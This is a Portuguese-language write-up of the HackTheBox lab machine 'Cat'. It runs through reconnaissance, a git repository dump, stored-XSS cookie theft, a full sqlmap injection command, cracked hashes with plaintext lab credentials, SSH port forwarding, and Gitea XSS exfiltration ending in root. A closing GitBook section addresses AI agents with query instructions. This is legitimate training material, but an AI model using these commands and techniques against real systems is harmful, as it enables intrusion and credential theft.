> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/cat-hackthebox-writeup.md). # Relato da máquina Cat no HackTheBox {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Fuzzing de diretórios (.git file) * Análise do código-fonte (dump do repositório Git) * Exploração de XSS armazenado e sequestro de sessão * Injeção SQL (SQLite) usando sqlmap * Quebra de hashes de senha * Redirecionamento de portas via SSH * Exploração do Gitea (v1.22.0) – XSS armazenado * Exfiltração de dados sensíveis via payloads XSS {% endhint %} ## Reconhecimento **Configuração do ambiente de trabalho:** Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

**Verificação de conectividade da VPN** Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

**Descoberta de portas abertas com Nmap:** Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.53 -oG allPorts ```

Varredura de versões de portas com Nmap: Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted": ```purebasic nmap -sCV -p22,80 10.10.11.53 -oN targeted ```

Para resolver nomes de domínio em endereços IP via DNS, inserimos o nome de domínio associado ao seu endereço IP no `/etc/hosts` arquivo:

### Porta 80 - HTTP

Ao acessar o `http://cat.htb` site, você encontrará um formulário de registro.

Também observamos uma funcionalidade de votação.

**Fuzzing de diretórios** Executamos `gobuster` para descobrir caminhos ocultos: ```bash gobuster dir -u http://cat.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php ```

Isso revela vários arquivos interessantes, incluindo um `.git` diretório.

**dump de repositório Git** Usamos `git-dumper` para recuperar o conteúdo do repositório: ```bash git-dumper http://cat.htb/.git git ```

Ao inspecionar o código-fonte, identificamos uma **vulnerabilidade de SQL** bem como a possibilidade de **XSS armazenado**.

## Vulnerabilidade XSS A aplicação aceita *nome de usuário* e *email* campos sem filtragem adequada. Isso permite a injeção de scripts maliciosos.

**Payload XSS** Criamos um usuário com o seguinte nome: ```javascript ``` **Recebendo o cookie do administrador** Escutamos na porta 8081: ```bash python -m http.server 8081 ```

Assim que o cookie é capturado, obtemos a sessão do administrador:

Modificamos nosso cookie de sessão para o do administrador e acessamos o **console de administração**.

## Injeção SQL (SQLite)

Com acesso de administrador, execute `sqlmap` em um formulário vulnerável {% code overflow="wrap" %} ```bash sqlmap -u "http://cat.htb/accept_cat.php" --cookie="PHPSESSID=i4cao7dtdfk1bs713p57cfq719" --data="catId=1&catName=123" -p catName --level 3 --risk 3 --batch --random-agent --tables --dump --dbms=sqlite --threads 10 ``` {% endcode %}

**Recuperação de hash** Obtemos os **hashes de senha**. Aqui estão alguns exemplos: ``` d1bbba3670feb9435c9841e46e60ee2f ac369922d560f17d6eeb8b2c7dec498c 42846631708f69c00ec0c0a8aa4a92ad 39e153e825c4a3d314a0dc7f7475ddbe 781593e060f8d065cd7281c5ec5b4b86 1b6dce240bbfbc0905a664ad199e18f8 c598f6b844a36fa7836fba0835f1f6 e41ccefa439fc454f7eadbf1f139ed8a 24a8ec003ac2e1b3c5953a6f95f8f565 88e4dceccd48820cf77b5cf6c08698ad ``` **Quebra de senha** Usando [CrackStation](https://crackstation.net/), conseguimos identificar com sucesso a senha do usuário `rosa`: {% embed url="" %}

* **nome de usuário** : rosa * **senha** : soyunaprincesarosa Conexão SSH com as credenciais obtidas: ```bash ssh rosa@cat.htb ```

### Pivotando para o usuário Axel #### Enumeração com LinPEAS: ```bash ./linpeas.sh ``` {% embed url="" %} Rosa está no grupo `adm` , com acesso a: ```bash cat /var/log/apache2/access.log | grep "axel" ```

Credenciais encontradas: * Usuário: axel * Senha : aNdZwgC4tI9gnVXv/\_e3Q

### Flag user.txt :)

## Escalada de privilégios ### Descoberta de portas internas: ```bash netstat -tuln ``` * **Node.js** (porta 3000) * **SMTP** (587, 25) Serviços identificados

#### Encaminhamento de Porta ```bash sudo ssh -L 3000:127.0.0.1:3000 -L 587:127.0.0.1:587 -L 25:127.0.0.1:25 axel@cat.htb ``` ### Vulnerabilidade XSS no Gitea v1.22.0 Na `http://localhost:3000` -> **Gitea** está acessível.

Faça login com as credenciais de Axel.

Vulnerabilidade XSS conhecida.

Criamos um projeto com uma descrição contendo: ```bash XSS test ```

* Resultado:

### E-mail interceptado via LinPEAS

Conteúdo do e-mail: * jobert\@localhost deve verificar o repositório do Gitea

Enviamos um link XSS contendo um script de exfiltração que lê o conteúdo da `index.php` página do repositório do Gitea, codifica em Base64 e então envia para o nosso servidor web {% code overflow="wrap" %} ```bash PWNED ``` {% endcode %}

#### Por meio do nosso servidor web ```bash python -m http.server 8080 ```

#### Conteúdo exfiltrado (Base64 decodificado): ```bash echo "PD9waHAKJHZhbGlkX3VzZXJuYW1lID0gJ2FkbWluJzsKJHZhbGlkX3Bhc3N3b3JkID0gJ0lLdzc1ZVIwTVI3Q01JeGhIMCc7CgppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8ICFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwgCiAgICAkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddICE9ICR2YWxpZF91c2VybmFtZSB8fCAkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSAhPSAkdmFsaWRfcGFzc3dvcmQpIHsKICAgIAogICAgaGVhZGVyKCdXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT0iRW1wbG95ZWUgTWFuYWdlbWVudCInKTsKICAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOwogICAgZXhpdDsKfQoKaGVhZGVyKCdMb2NhdGlvbjogZGFzaGJvYXJkLnBocCcpOwpleGl0Owo%2FPgoK" | base64 -d ``` * $valid/\_username = 'admin'; * $valid/\_password = 'IKw75eR0MR7CMIxhH0';

#### Escalada para root Há reutilização de credenciais para o usuário root ```bash su root ```

### Flag root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/cat-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.